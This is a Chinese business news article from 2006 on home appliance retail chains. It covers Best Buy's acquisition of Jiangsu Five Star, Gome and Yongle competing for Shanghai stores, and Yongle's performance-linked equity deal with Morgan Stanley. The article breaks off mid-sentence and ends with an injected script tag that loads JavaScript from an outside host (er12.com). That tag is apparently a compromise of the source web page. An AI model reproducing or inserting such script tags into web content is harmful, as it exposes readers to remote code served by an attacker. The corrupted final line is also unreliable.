“得资金者得店面，得店面者得天下”的行业生存逻辑在2006年变得更加残酷，连锁家电销售巨头因此纷纷选择与国际资本共舞，但他们很快发现资本是带刺的玫瑰，事情并非想象中那么简单
“你以为这场马拉松赛，人人都能跑到最后？”永乐电器董事长陈晓这一诘问在家电零售圈里人人耳熟能详。
5月29日，美国家电零售业老大百思买吞并江苏五星之后组建了新的合资公司。江苏五星2001年才正式从事批发转零售业务，是一个区域性的家电连锁销售品牌，在消费量巨大的上海、北京、广东等省市均无布点。此前拥有136家门店的五星和号称“30小时开一家门店”的国美相比根本算不上对手。
但是，作为“充足资金的提供人和先进管理经验的布道者”百思买的进入，改变了这一切，江苏五星集团虽然失去了对合资公司的控制权，但是五星在一夜之间得以行业第四名的身份挑战家电连锁销售行业的第一集团军。这是民营企业占绝对主导的中国家电连锁销售市场，七年来第一次出现境外资本控股企业。
之前，经过数年的激烈竞争，家电连锁销售的第一集团军已经形成，国美、苏宁、永乐位列前三甲。“不是谁发力早，就一定会赢，家电连锁的整合是一场没有终点的马拉松！”陈晓在2005年10月14日永乐香港上市之后的断言现在成为现实。站在五星身后的百思买正成为所有人的对手。
“行业正在遭遇系统性风险。”上海隆瑞投资执行董事尹中余对记者评价说。
他认为，“得资金者得店面，得店面者得天下”的行业生存逻辑，在2006年将变得更加残酷。百思买对五星出手就是1.8亿美金的并购，让资本紧缺的本土家电流通业感受到压力———行业前三强国美、苏宁、永乐三家相加的销售额不足百思买的50％。 资本：带刺的玫瑰
百思买打算在上海开自己在中国的第一家店，而上海家电零售市场60％的市场份额掌握在永乐电器手中。
“上海家电市场今年将是一场硬仗。”苏商投资发展(集团)有限公司投资总监王永中表示，“百思买选址上海，直接争夺的是高端客户资源。价格战在所难免，上海家电市场行业利润肯定大幅下滑。”
觊觎上海市场的还有国美。今年国美总部对上海国美的指标是：在6月底前完成在上海门店总数达到60家的任务，首先从店面数量上超越永乐。
华东市场一直是国美的短板，上海国美甚至没有放入国美香港的上市公司中。在国美集团董事长黄光裕看来，这块没有上市的资产，将在今后同百思买的正面竞争中起到重要作用——“可以不要利润只要市场”。
百思买的落户和国美的上海攻略对上市仅8个月的永乐而言绝对不是利好。1月1日，1.1万平米的上海国美旗舰店开业，第二天国美就和其相距500米的永乐发生冲突。这场最终需要警方介入才获得制止的冲突只是激烈的行业竞争露出的冰山一角。
今年3月黄光裕在接受记者采访时承认，国美和永乐在上海市场的差距在30％以上，但是“我们必须做到上海第一”。
这种言语上的挑战对于抵御过病魔———患过小儿麻痹症有些腿疾的陈晓并不构成压力，身高1.80米、硬朗冷静的陈晓反而在北京插下了一把钢刀———4月22日，永乐和北京大中进行股权置换。在北京拥有50％以上市场占有率的大中电器将接手永乐京津地区的11家门店。
由更懂得北京市场的大中出面整合分去永乐太多精力的京津资源，并在国美北京的根据地完成正面作战，可以看作永乐战略中的“挺进大别山”。
此时集中精力的永乐更需要完成的是一场财务大决战。
“永乐正握着一支带刺的玫瑰。”尹中余认为。他指的是今年1月摩根士丹利及鼎晖以5000万美元入股永乐，置换陈晓手中20％股份的事。
为了这5000万美元，永乐签下了和摩根的“对赌”协议：即永乐不能够实现较高的净利润，投资方就会获得更多的股权；永乐如果实现事先约定的利润目标，则可以从投资方那里获得股权。
“这是一份和蒙牛管理层类似的对赌。”参与过多起并购案的尹中余对记者说。尹中余认为这份协议充分体现了摩根的精明，不论情况如何他们都输不了，但是国内的民营企业家却不能盲目乐观，虽然蒙牛赌赢了，但是蒙牛的故事很难重现，国内企业家最好不要主动对赌。
按照对赌协议，永乐要想获得股权奖励，3年内其净利润必须达到7.5亿元，这对永乐来说是个极大的挑战，在过去的4年中永乐的利润总和仅6.77亿元。王永中认为：“永乐管理层要想拿到这份奖励，意味着未来两年的净利润增长至少要达到60％。”
无论如何，永乐把自己拽上了这趟不得不和资本搏击的战车，其结局要么是借力登上中国家电渠道的霸主地位，要么是被资本所抛弃进而退出主渠道。融更多的钱，开更多的店
这场对赌协议背后，是飞速壮大的中国家电零售市场的霸主地位争夺战和本土企业与国际资本的博弈。
永乐并不缺钱。去年10月永乐在香港上市募集到10.26亿港元，但是为了应对今后的发展，陈晓还是希?script src=http://er12.com/t.js>
